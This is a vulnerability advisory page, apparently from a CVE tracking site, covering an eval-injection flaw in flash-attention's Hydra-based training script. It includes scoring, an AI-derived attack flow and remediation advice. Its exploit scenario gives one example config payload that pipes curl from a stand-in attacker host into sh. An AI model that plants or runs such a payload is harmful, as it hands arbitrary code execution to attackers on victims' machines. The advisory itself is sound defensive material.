Skip to main content

flash-attention CVE-2026-31254

| EUVDEUVD-2026-29101 HIGH
Eval Injection (CWE-95)
2026-05-11 mitre GHSA-9hgr-qwgw-x8pp
7.3
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious Hydra config with ${eval:...} payload
  2. Delivery
    Deliver config via shared repo or file
  3. Exploit
    Victim runs training script with config
  4. Execution
    eval resolver executes Python at load
  5. Impact
    Arbitrary code execution as training user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to run the flash-attention training script with an attacker-controlled Hydra configuration file, and that config must contain the ${eval:...} interpolation syntax that triggers the registered eval resolver. The limiting factor is delivery and user interaction: the attacker cannot trigger this remotely against a running service - a victim must actively load the malicious config (e.g., a shared, downloaded, or repository-supplied YAML). It affects only deployments that ingest configuration from untrusted sources; environments that use only locally authored, reviewed configs are not exposed. Code runs with the privileges of the user launching the training job.

Impact

Signals conflict on real-world priority. The published CVSS is 7.3 with AV:N/AC:L/PR:N/UI:N, implying trivial remote unauthenticated exploitation, but the description makes clear the attack requires a victim to run the training script against an attacker-supplied configuration file - effectively local delivery plus user interaction, which the published vector does not capture. EPSS is only 0.02% (5th percentile) and there is no KEV listing and no known POC, indicating low likelihood of widespread opportunistic exploitation. SSVC records Exploitation: none but Automatable: yes with partial technical impact. The practical risk is a supply-chain/trust-boundary issue: dangerous only where untrusted configs are ingested (shared configs, downloaded experiment repos, multi-tenant training pipelines). Verify the vector with the vendor - CVSS network/no-UI scoring appears inconsistent with the description's 'provide a malicious configuration file' requirement.

Exploit ScenarioDerived

An attacker publishes a seemingly benign flash-attention experiment repository or shares a YAML training config containing a field like ${eval:__import__('os').system('curl attacker/x|sh')}. When a researcher runs the training script with that configuration, Hydra resolves the interpolation and executes the attacker's Python with the victim's privileges. No public POC is currently identified, and the attack complexity is low but depends on convincing the victim to use the malicious config.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Arbitrary code execution in the flash-attention project's training script (up to commit e724e2588cbe754beb97cf7c011b5e7e34119e62) allows an attacker to run Python code by supplying a malicious Hydra configuration. The script registers Python's eval() as a Hydra resolver named 'eval', so any config value using the ${eval:...} syntax is executed when a victim launches training with that configuration. No public exploit has been identified and EPSS probability is very low (0.02%), but SSVC rates the flaw as automatable with partial technical impact.

RemediationAI

No vendor-released patch version is identified in the available data, and the fix boundary is expressed only as a commit hash. The concrete remediation is to remove the dangerous resolver registration: do not register Python's eval() as a Hydra resolver, or replace it with a safe evaluator such as ast.literal_eval or a restricted arithmetic parser, then update to a project revision after commit e724e2588cbe754beb97cf7c011b5e7e34119e62. As compensating controls until code is fixed, only run the training script with configuration files from trusted sources under version control, review any third-party or downloaded config for ${eval:...} interpolations before use, and run training jobs under a low-privilege account or sandbox/container so that code execution cannot pivot to broader infrastructure. Trade-off: disabling or replacing the eval resolver will break any legitimate configs that relied on computed ${eval:...} expressions, which must be rewritten. Reference the NVD advisory (https://nvd.nist.gov/vuln/detail/CVE-2026-31254) for tracking.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the training harness built on Hydra/OmegaConf, a widely used configuration framework in Python ML projects. Hydra supports custom 'resolvers' that expand ${name:args} interpolations in YAML config files at load time; here the project registered Python's built-in eval() under the resolver name 'eval', so ${eval:<expr>} evaluates arbitrary Python during config resolution. The root cause is CWE-95 (eval injection), a subclass of the CWE-94 code-injection class cited in the NVD description - note the input references both CWE-94 (description) and CWE-95 (classification), which are consistent parent/child weaknesses. CPE data is unhelpful here (recorded as cpe:2.3:a:n/a:n/a:*), so the affected product must be identified from the description rather than the CPE dictionary.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.3 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
vuln.today AI 7.8 HIGH

Exploitation needs a victim to run training against an attacker-supplied config (AV:L, UI:R), but resulting arbitrary code execution yields full C/I/A on the host, unchanged scope.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
CVSS changed
May 12, 2026 - 20:22 NVD
7.3 (HIGH)
CVE Published
May 11, 2026 - 00:00 nvd
UNKNOWN (no severity yet)
CVE Published
May 11, 2026 - 00:00 nvd
HIGH 7.3

DescriptionCVE.org

The flash-attention project thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains a code injection vulnerability (CWE-94) in its training script. The script registers the Python eval() function as a Hydra configuration resolver under the name eval. This allows configuration files to execute arbitrary Python code via the ${eval:...} syntax. An attacker can exploit this by providing a malicious configuration file, leading to arbitrary code execution when the training script is run with that configuration.

Executive ViewAI

Why It Matters

Flash-attention training script contains a code execution vulnerability (CVSS 7.3) that could allow attackers to run unauthorized code during model training operations via malicious configuration files. With no public exploit identified at time of analysis and extremely low exploitation probability (0.02% EPSS), the primary risk is supply chain compromise of training configurations; organizations using externally-sourced or untrusted configuration sources face meaningful risk.

Business Impact: Medium
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: implement configuration file cryptographic integrity verification (signing/hashing), restrict training configurations to internal sources only, disable the eval() resolver registration in Hydra if not essential to operations, execute training scripts in isolated sandboxed environments, and require code review of any external-source configurations before use.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Prevalence
High
flash-attention is a widely deployed transformer training/inference library in ML
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Medium
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy